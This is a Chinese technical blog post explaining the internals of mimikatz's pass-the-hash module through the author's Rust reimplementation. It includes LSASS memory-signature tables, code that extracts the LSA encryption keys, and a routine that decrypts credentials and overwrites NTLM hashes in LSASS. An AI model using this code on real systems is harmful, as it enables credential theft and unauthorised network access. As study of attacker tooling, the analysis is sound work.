mimikatz sekurlsa::pth底层原理

admin 2024年12月28日13:12:50评论10 views字数 14298阅读47分39秒阅读模式

0. Summary

为了学习mimikatz PTH底层原理,我用Rust实现了sekurlsa::pthsekurlsa::msv模块,见sekurlsa::pth written in pure Rust[1]

该实现仅为了学习底层细节,代码量2K行左右,win32 API binding使用了windows-rs该实现仅支持工作组环境中的PTH,替换LSASS中的KRB凭据是相同的原理该实现仅支持NT6+,因为NT5是2006年以前的老古董,LSA protect还在使用DESX等算法

本文将结合mimikatz源码和个人实现进行解析(因为mimikatz的模块化代码充斥着各种回调,逻辑不够直白),希望各位在读完后能有所收获

1. Pass The Hash

大家应该对NTLM SSP认证的Challenge / Response机制很熟悉,简单复习一下

NTLM的type3会有以下几种response:

LM ResponseLMv2 ResponseNTLMv1 ResponseNTLMv2 ResponseNTLMv2 Session Response (NEGOTIATE_EXTENDED_SESSION_SECURITY )

这几种响应的计算都仅需要challenge和hash (v2会有额外的nonce)作为入参,于是就有了pass the hash这种攻击方式,LSASS和SAM中都存储着hash,攻击者拿到hash便可完成NTLM认证过程

但问题来了,Windows提供的认证函数接收的是用户名和明文密码(而不会接受hash这样的参数),那么各种PTH工具是怎么做的呢?

2. PTH实现方式

市面上的PTH工具大体有以下两种实现方式

mimikatz:通过patch LSASS.exe进程中LSASRV.dll模块空间里的内存,来修改logon id对应的hash以impacket为代表的工具:实现了上层协议如SMB / RPC等等,攻击时修改上层协议中对应的NTLM SSP部分

以上两种方式各有利弊:

从协议流量层面修改相对比较稳定,因为固定协议版本基本不会有变动。但利用存在局限,需要实现所有的上层协议才能修改其中的NTLM SSP字段

patch内存的方式更全面,一但patch成功后续进程的网络登录都由LSASS来负责,不论是dir UNC还是wmic。缺点是不够清真,因为需要通过搜索内存签名来定位关键变量的地址,内存签名是一段与系统强相关的不包含寻址的机器码,所以需要繁琐的提取不同版本的签名

本文会解析mimikatz patch内存的实现方式

3. sekurlsa::pth源码解析

定位到sekurlsa::pth模块对应的源码mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#kuhl_m_sekurlsa_pth

主函数做了以下几件事:

1.获取参数:luid, user, domain, impersonate, run, [ntlm/rc4/aes128/aes256]2.如果有luid参数,则直接覆盖该luid关联的凭据,完成攻击。如果没有,则以SUSPENDED状态启动新进程,获取进程token里的luid3.接着通过kuhl_m_sekurlsa_pth_luid函数patch LSASS.exe进程内存,通过kuhl_m_sekurlsa_enum_callback_msv_pthkuhl_m_sekurlsa_enum_callback_kerberos_pth两个回调修改工作组和域环境的凭据4.Resume进程,完成攻击

3.1 luid参数

我相信大多数人应该不知道mimikatz的sekurlsa::pth能传递一个luid参数,因为不仅命令行没有提示,文档[2]也没写,不读源码是不大可能知道这个参数的

那么这个参数有什么作用呢?luid是一个LUID结构,在TOKEN_STATISTICS结构体中对应的字段名叫AuthenticationId,它是用来关联进程的token和LSA中logon session的

因此mimikatz中PTH便有了两个分支:

1.如果提供了luid,则直接patch LSASS中该luid对应logon session的hash,此后与该luid关联的所有进程都有patch过的网络凭据2.如果没有提供luid,则启动新进程,然后获取新进程token中的luid,修改它关联的logon session的hash(为什么新进程会关联新的logon session而不是继承父进程的session,后面会讲)

实际使用中,当当前user name和domain name和要PTH的目标一致时,通过sekurlsa::msv枚举所有logon session,接着传递luid参数修改对应的网络凭据即可,这样后续启动的新进程都关联着修改过的logon session。而当user name和domain name不一致时,是可以修改LSASS进程中对应凭据的user name和domain name的(当然你得自己代码实现),但前提是缓冲区得足够大(UNICODE_STRING结构的buffer),也就是当前user name的长度要大于目标user name的长度

3.2 CreateProcessWithLogon

解答上一节提出的问题,为什么mimikatz PTH启动的新进程没有继承父进程的logon session而有了一个新的session,那是因为启动进程使用了CreateProcessWithLogon函数并传递了LOGON_NETCREDENTIALS_ONLY的LogonFlags

Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.

This value can be used to create a process that uses a different set of credentials locally than it does remotely. This is useful in inter-domain scenarios where there is no trust relationship.

The system does not validate the specified credentials. Therefore, the process can start, but it may not have access to network resources.

文档提到,会创建一个新的logon session,并且不校验该凭据的有效性

所以,在mimikatz PTH流程中,使用空密码启动新进程。后续修改该进程对应的新logon session即可

CreateProcessWithLogonW(    user,    domain,    L"",    LOGON_NETCREDENTIALS_ONLY,    cmdline,    CREATE_NEW_CONSOLE | CREATE_SUSPENDED,    0,    NULL,    &si,    &pi    );

3.3 Acquire LSA

相信大家都见过这个报错吧:

ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

对应的函数kuhl_m_sekurlsa_acquireLSAsekurlsa模块中相当重要的一员,它做了以下工作

读取LSASS.exe进程中LSASRV.dll模块的内存,模块加载地址和大小是通过PEB.Ldr.InMemoryOrderModuleList获取获取系统的MajorVersion, MinorVersion和BuildNumber

解析InMemoryOrderModuleList遍历模块是很基础的知识,值得学习的是如何通过ReadProcessMemory在其他进程空间里操作

3.4 Parse LogonSessionList

接下来需要找到LSASRV.dll中的两个全局变量LogonSessionListLogonSessionListCount,方法是通过内存签名进行查找。借用老外一篇博客[3]中的图片

mimikatz sekurlsa::pth底层原理

可以看到,找到一个同时引用了这两个全局变量的函数,便可将其不变的机器码当做内存签名。除了这一段签名,我们还需要保存两个全局变量相对签名的偏移,所以,pattern的结构是这样

pub(crate) const PTRN_WIN5_LogonSessionList: &[u8] = &[    0x4c, 0x8b, 0xdf, 0x49, 0xc1, 0xe3, 0x04, 0x48, 0x8b, 0xcb, 0x4c, 0x03, 0xd8,];pub(crate) const PTRN_WN60_LogonSessionList: &[u8] = &[    0x33, 0xff, 0x45, 0x85, 0xc0, 0x41, 0x89, 0x75, 0x00, 0x4c, 0x8b, 0xe3, 0x0f, 0x84,];pub(crate) const PTRN_WN61_LogonSessionList: &[u8] = &[    0x33, 0xf6, 0x45, 0x89, 0x2f, 0x4c, 0x8b, 0xf3, 0x85, 0xff, 0x0f, 0x84,];pub(crate) const PTRN_WN63_LogonSessionList: &[u8] = &[    0x8b, 0xde, 0x48, 0x8d, 0x0c, 0x5b, 0x48, 0xc1, 0xe1, 0x05, 0x48, 0x8d, 0x05,];pub(crate) const PTRN_WN6x_LogonSessionList: &[u8] = &[    0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74,];pub(crate) const PTRN_WN1703_LogonSessionList: &[u8] = &[    0x33, 0xff, 0x45, 0x89, 0x37, 0x48, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74,];pub(crate) const PTRN_WN1803_LogonSessionList: &[u8] = &[    0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74,];pub(crate) const LSA_SRV_REF_BUILD_XP: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_XP, PTRN_WIN5_LogonSessionList, (-4, 0));pub(crate) const LSA_SRV_REF_BUILD_2K3: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_2K3, PTRN_WIN5_LogonSessionList, (-4, -45));pub(crate) const LSA_SRV_REF_BUILD_VISTA: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_VISTA, PTRN_WN60_LogonSessionList, (21, -4));pub(crate) const LSA_SRV_REF_BUILD_7: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_7, PTRN_WN61_LogonSessionList, (19, -4));pub(crate) const LSA_SRV_REF_BUILD_8: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_8, PTRN_WN6x_LogonSessionList, (16, -4));pub(crate) const LSA_SRV_REF_BUILD_BLUE: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_BLUE, PTRN_WN63_LogonSessionList, (36, -6));pub(crate) const LSA_SRV_REF_BUILD_10_1507: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_10_1507, PTRN_WN6x_LogonSessionList, (16, -4));pub(crate) const LSA_SRV_REF_BUILD_10_1703: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_10_1703, PTRN_WN1703_LogonSessionList, (23, -4));pub(crate) const LSA_SRV_REF_BUILD_10_1803: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_10_1803, PTRN_WN1803_LogonSessionList, (23, -4));pub(crate) const LSA_SRV_REF_BUILD_10_1903: (u32, &[u8], (isize, isize)) =    (WIN_BUILD_10_1903, PTRN_WN6x_LogonSessionList, (23, -4));

图片中的两个偏移分别是23和-4,在64-bit系统中通过偏移找到相对寻址的4 bytes地址,接着只需要eip + RA即可找到所需要的全局变量(在32-bit中是4 bytes的绝对地址)

let ptrn_offset = self    .mod_info    .mem    .windows(ptrn.1.len())    .position(|window| window == ptrn.1)    .ok_or(LsaError::new(        "Couldn't find the signature of LoginSessionList in memory",    ))?;unsafe {    let ptr_logon_session_lst_cnt: isize;    let ptr_logon_session_lst: isize;    #[cfg(all(target_os = "windows", target_arch = "x86_64"))]    {        let offset = 0_i32;        read_process_mem(            self.handle,            (self.mod_info.dll_base + ptrn_offset as isize + ptrn.2 .1) as _,            &offset as *const i32 as _,            mem::size_of::<i32>(),        )?;        ptr_logon_session_lst_cnt = self.mod_info.dll_base            + ptrn_offset as isize            + ptrn.2 .1            + mem::size_of::<i32>() as isize            + offset as isize;        let offset = 0_i32;        read_process_mem(            self.handle,            (self.mod_info.dll_base + ptrn_offset as isize + ptrn.2 .0) as _,            &offset as *const i32 as _,            mem::size_of::<i32>(),        )?;        ptr_logon_session_lst = self.mod_info.dll_base            + ptrn_offset as isize            + ptrn.2 .0            + mem::size_of::<i32>() as isize            + offset as isize;    }    #[cfg(all(target_os = "windows", target_arch = "x86"))]    {        read_process_mem(            self.handle,            (mod_info.dll_base + ptrn_offset as isize + ptrn.2 .1) as _,            &ptr_logon_session_lst_cnt as *const isize as _,            mem::size_of::<isize>(),        )?;        read_process_mem(            self.handle,            (mod_info.dll_base + ptrn_offset as isize + ptrn.2 .0) as _,            &ptr_logon_session_lst as *const isize as _,            mem::size_of::<isize>(),        )?;    }    let logon_session_lst_cnt = 0_u32;    read_process_mem(        self.handle,        ptr_logon_session_lst_cnt as _,        &logon_session_lst_cnt as *const u32 as _,        mem::size_of::<u32>(),    )?;    println!(        "Found LogonSessionListCount @ 0x{:x}, value: {}",        ptr_logon_session_lst_cnt, logon_session_lst_cnt    );

LogonSessionListCount是指向LogonSessionList的指针列表的成员个数,而LogonSessionList则是一个包含了LIST_ENTRY成员的双向链表(LogonSessionListCount大多数情况下等于1)

LogonSessionList链表中的成员是一个KIWI_MSV1_0_LIST_*结构,该结构和系统强相关,Win10中为KIWI_MSV1_0_LIST_63。mimikatz中通过逆向给出的结构定义为:

struct KIWI_MSV1_0_LIST_63 {    Flink: *const KIWI_MSV1_0_LIST_63,    Blink: *const KIWI_MSV1_0_LIST_63,    unk0: *const (),    unk1: u32,    unk2: *const (),    unk3: u32,    unk4: u32,    unk5: u32,    hSemaphore6: HANDLE,    unk7: *const (),    hSemaphore8: HANDLE,    unk9: *const (),    unk10: *const (),    unk11: u32,    unk12: u32,    unk13: *const (),    LocallyUniqueIdentifier: LUID,    SecondaryLocallyUniqueIdentifier: LUID,    waza: [u8; 12],    UserName: UNICODE_STRING,    domain: UNICODE_STRING,    unk14: *const (),    unk15: *const (),    Type: UNICODE_STRING,    pSid: *const SID,    LogonType: u32,    unk18: *const (),    Session: u32,    LogonTime: i64,    LogonServer: UNICODE_STRING,    Credentials: *const KIWI_MSV1_0_CREDENTIALS,    unk19: *const (),    unk20: *const (),    unk21: *const (),    unk22: u32,    unk23: u32,    unk24: u32,    unk25: u32,    unk26: u32,    unk27: *const (),    unk28: *const (),    unk29: *const (),    CredentialManager: *const (),}

接着我们便可以解析出该结构中的成员了

for i in 0..logon_session_lst_cnt {    let mut ptr: *const LIST_ENTRY = 0 as _;    read_process_mem(        handle,        logon_session_lst.offset(i as isize) as _,        &ptr as *const *const LIST_ENTRY as _,        mem::size_of::<*const LIST_ENTRY>(),    )?;    let entry: LIST_ENTRY = mem::zeroed();    read_process_mem(        handle,        ptr as _,        &entry as *const LIST_ENTRY as _,        mem::size_of::<*const LIST_ENTRY>(),    )?;    let head = ptr;    while entry.Flink != head as _ {        ptr = entry.Flink as _;        read_process_mem(            handle,            entry.Flink as _,            &entry as *const LIST_ENTRY as _,            mem::size_of::<*const LIST_ENTRY>(),        )?;        let buffer = vec![0_u8; helper.size];        read_process_mem(handle, ptr as _, &buffer[0] as *const u8, helper.size)?;        let logon_id = *(&buffer[helper.offsetToLuid] as *const u8 as *const LUID);        let username =            *(&buffer[helper.offsetToUsername] as *const u8 as *const UNICODE_STRING);        let logon_domain =            *(&buffer[helper.offsetToDomain] as *const u8 as *const UNICODE_STRING);        let logon_typ = *(&buffer[helper.offsetToLogonType] as *const u8 as *const u32);        let session = *(&buffer[helper.offsetToSession] as *const u8 as *const u32);        let credentials =            *(&buffer[helper.offsetToCredentials] as *const u8 as *const *const ());        let sid = *(&buffer[helper.offsetToPSid] as *const u8 as *const *const SID);        let credential_mgr =            *(&buffer[helper.offsetToCredentialManager] as *const u8 as *const *const ());        let logon_time = *(&buffer[helper.offsetToLogonTime] as *const u8 as *const i64);        let logon_server =            *(&buffer[helper.offsetToLogonServer] as *const u8 as *const UNICODE_STRING);        let session_data = SecurityLogonSessionData {            logon_id: logon_id,            username: username,            logon_domain: logon_domain,            logon_typ: logon_typ,            session: session,            credentials: credentials,            sid: sid,            credential_mgr: credential_mgr,            logon_time: logon_time,            logon_server: logon_server,        };        ret.push(session_data);    }}

3.5 LSA Protect

到了最后一步,需要解密出KIWI_MSV1_0_LIST_63中的credentials成员,修改其中的hash部分,再加密并写回LSASS进程空间

在NT6上,LSA使用了两种加密算法,分别是AES-CFB和TripleDES-CBC,当数据长度模8不为0时用AES,否则用3DES

为了解密credentials,我们需要拿到LSASS进程空间里随机生成的密钥和IV,这一步和上文到LogonSessionList相关的两个全局变量的方法是一样的,还是通过内存签名

密钥保存在KIWI_BCRYPT_KEY结构的KIWI_HARD_KEY

let (size, key_offset) = if lsa.os_version.build_number < lsa::WIN_MIN_BUILD_8 {    (        mem::size_of::<KIWI_BCRYPT_KEY>(),        memoffset::offset_of!(KIWI_BCRYPT_KEY, hardkey),    )} else if lsa.os_version.build_number < lsa::WIN_MIN_BUILD_BLUE {    (        mem::size_of::<KIWI_BCRYPT_KEY8>(),        memoffset::offset_of!(KIWI_BCRYPT_KEY8, hardkey),    )} else {    (        mem::size_of::<KIWI_BCRYPT_KEY81>(),        memoffset::offset_of!(KIWI_BCRYPT_KEY81, hardkey),    )};unsafe {    let ptr_handle_key = 0_isize;    let offset64: i32 = 0;    lsa::read_process_mem(        lsa.handle,        (lsa.mod_info.dll_base + offset) as _,        &offset64 as *const i32 as _,        mem::size_of::<i32>(),    )?;    #[cfg(all(target_os = "windows", target_arch = "x86_64"))]    lsa::read_process_mem(        lsa.handle,        (lsa.mod_info.dll_base + offset + offset64 as isize + mem::size_of::<i32>() as isize)            as _,        &ptr_handle_key as *const isize as _,        mem::size_of::<isize>(),    )?;    #[cfg(all(target_os = "windows", target_arch = "x86"))]    lsa::read_process_mem(        lsa.handle,        offset64 as _,        &ptr_handle_key as *const isize as _,        mem::size_of::<isize>(),    )?;    let handle_key: KIWI_BCRYPT_HANDLE_KEY = mem::zeroed();    read_process_mem(        lsa.handle,        ptr_handle_key as _,        &handle_key as *const KIWI_BCRYPT_HANDLE_KEY as _,        mem::size_of::<KIWI_BCRYPT_HANDLE_KEY>(),    )?;    // "UUUR"    if handle_key.tag == 0x55555552 {        let bcrypt_key_buf = vec![0_u8; size];        read_process_mem(            lsa.handle,            handle_key.key as _,            &bcrypt_key_buf[0] as *const u8 as _,            size,        )?;        let bcrypt_key = &*(&bcrypt_key_buf[0] as *const u8 as *const KIWI_BCRYPT_KEY);        // "MSSK"        if bcrypt_key.tag == 0x4d53534b {            let hard_key = &*((&bcrypt_key_buf[0] as *const u8).offset(key_offset as _)                as *const KIWI_HARD_KEY);            let secret = vec![0_u8; hard_key.cbSecret as _];            read_process_mem(                lsa.handle,                (handle_key.key as usize                    + key_offset                    + memoffset::offset_of!(KIWI_HARD_KEY, data)) as _,                &secret[0] as *const u8 as _,                secret.len(),            )?;            print!(                "0x{:x}",                handle_key.key as usize                    + key_offset                    + memoffset::offset_of!(KIWI_HARD_KEY, data)            );            return Ok(secret);        }    }    Err(LsaError::new("Acquire key failed"))}

找到后通过BCryptOpenAlgorithmProviderBCryptGenerateSymmetricKey等函数获取密钥句柄,最终传递给BCryptEncrypt / BCryptDecrypt做加解密

3.6 Patch NTLM

解密后的Credentials在Win10 1607上是这样的结构

struct MSV1_0_PRIMARY_CREDENTIAL_10_1607 {    LogonDomainName: UNICODE_STRING,    UserName: UNICODE_STRING,    pNtlmCredIsoInProc: *const (),    isIso: u8,    isNtOwfPassword: u8,    isLmOwfPassword: u8,    isShaOwPassword: u8,    isDPAPIProtected: u8,    align0: u8,    align1: u8,    align2: u8,    // #pragma pack(push, 2)    unkD: u32,    isoSize: u16,    DPAPIProtected: [u8; LM_NTLM_HASH_LENGTH],    // #pragma pack(pop)    align3: u32,    NtOwfPassword: [u8; LM_NTLM_HASH_LENGTH],    LmOwfPassword: [u8; LM_NTLM_HASH_LENGTH],    ShaOwPassword: [u8; SHA_DIGEST_LENGTH],}

mimikatz将isLmOwfPasswordisShaOwPasswordisDPAPIProtected写为FALSE,将isNtOwfPassword写为TRUE并将NTLM hash复制到对应位置,最后通过WriteProcessMemory将加密的凭据写回LSASS进程

if session_data.logon_id == patch_data.luid {    credentials[helper.offsetToisLmOwfPassword] = 0;    credentials[helper.offsetToisShaOwPassword] = 0;    if helper.offsetToisIso != 0 {        credentials[helper.offsetToisIso] = 0;    }    if helper.offsetToisDPAPIProtected != 0 {        credentials[helper.offsetToisDPAPIProtected] = 0;        ptr::write_bytes(            &credentials[helper.offsetToDPAPIProtected] as *const u8 as *mut u8,            0,            msv::LM_NTLM_HASH_LENGTH,        );    }    ptr::write_bytes(        &credentials[helper.offsetToLmOwfPassword] as *const u8 as *mut u8,        0,        msv::LM_NTLM_HASH_LENGTH,    );    ptr::write_bytes(        &credentials[helper.offsetToShaOwPassword] as *const u8 as *mut u8,        0,        msv::SHA_DIGEST_LENGTH,    );    credentials[helper.offsetToNtOwfPassword] = 1;    ptr::copy_nonoverlapping(        patch_data.ntlm.as_ptr(),        &credentials[helper.offsetToNtOwfPassword] as *const u8 as _,        msv::LM_NTLM_HASH_LENGTH,    );    crate::lsa_crypt::nt6_encrypt_mem(&credentials, true)?;    if !WriteProcessMemory(        lsa.handle,        msv_primary_credentials.Credentials.Buffer.0 as _,        &credentials[0] as *const u8 as _,        credentials.len(),        0 as _,    )    .as_bool()    {        return Err(LsaError::new("WriteProcessMemory error"));    }    println!(        "Replace NTLM hash @ 0x{:x}",        msv_primary_credentials.Credentials.Buffer.0 as isize            + helper.offsetToNtOwfPassword as isize    );}

4. 关于windows-rs

本项目中win32 api binding使用的是微软官方的windows-rs,相比于winapi-rs仅仅实现了相关定义,windows-rs有了一定的封装度,比方说一些常量枚举替换成了Rust中的枚举。但还不够完善,属于开发中的新项目

一大亮点是通过build script按需生成代码,在项目中使用windows::include_bindings!宏自动生成定义

但有一大痛点是rust-analyzer对宏的支持不够好,这就导致了没办法看到include_bindings!生成的代码

总体来说还是看好的,期待未来做出针对某些类型(比如HANDLE)的适配Rust生命周期的RAII

References

[1] sekurlsa::pth written in pure Rust: https://github.com/EddieIvan01/win32api-practice/tree/master/pth
[2] 文档: https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth
[3] 老外一篇不错的博客: https://www.praetorian.com/blog/inside-mimikatz-part2/

原文始发于微信公众号(0x4d5a):mimikatz sekurlsa::pth底层原理

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日13:12:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   mimikatz sekurlsa::pth底层原理http://cn-sec.com/archives/961297.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息